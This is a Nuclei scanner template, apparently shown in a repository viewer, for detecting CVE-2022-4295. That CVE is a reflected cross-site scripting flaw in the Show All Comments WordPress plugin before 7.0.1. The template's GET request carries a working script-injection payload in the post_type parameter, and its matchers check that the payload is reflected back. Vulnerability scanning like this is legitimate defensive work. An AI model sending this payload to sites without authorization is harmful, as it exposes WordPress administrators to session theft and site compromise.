nuclei-templates/http/cves/2022/CVE-2022-4295.yaml

36 lines
1.3 KiB
YAML
Raw Normal View History

2023-07-07 09:38:49 +00:00
id: CVE-2022-4295
info:
name: Show all comments < 7.0.1 - Cross-Site Scripting
author: r3Y3r53
severity: medium
description: |
The Show All Comments WordPress plugin before 7.0.1 does not sanitise and escape a parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against a logged in high privilege users such as admin.
reference:
- https://wpscan.com/vulnerability/4ced1a4d-0c1f-42ad-8473-241c68b92b56
- https://nvd.nist.gov/vuln/detail/CVE-2022-4295
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-4295
cwe-id: CWE-79
metadata:
max-request: 1
2023-07-07 09:38:49 +00:00
publicwww-query: /wp-content/plugins/show-all-comments-in-one-page
verified: true
2023-07-07 09:38:49 +00:00
tags: cve,cve2022,wp,wordpress,wp-plugin,xss,show-all-comments-in-one-page
http:
- method: GET
path:
- "{{BaseURL}}/wp-admin/admin-ajax.php?action=sac_post_type_call&post_type=</option><script>alert(document.domain)</script>"
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(content_type, "text/html")'
- 'contains(body, "<script>alert(document.domain)</script>")'
- 'contains(body, "Select </option>")'
condition: and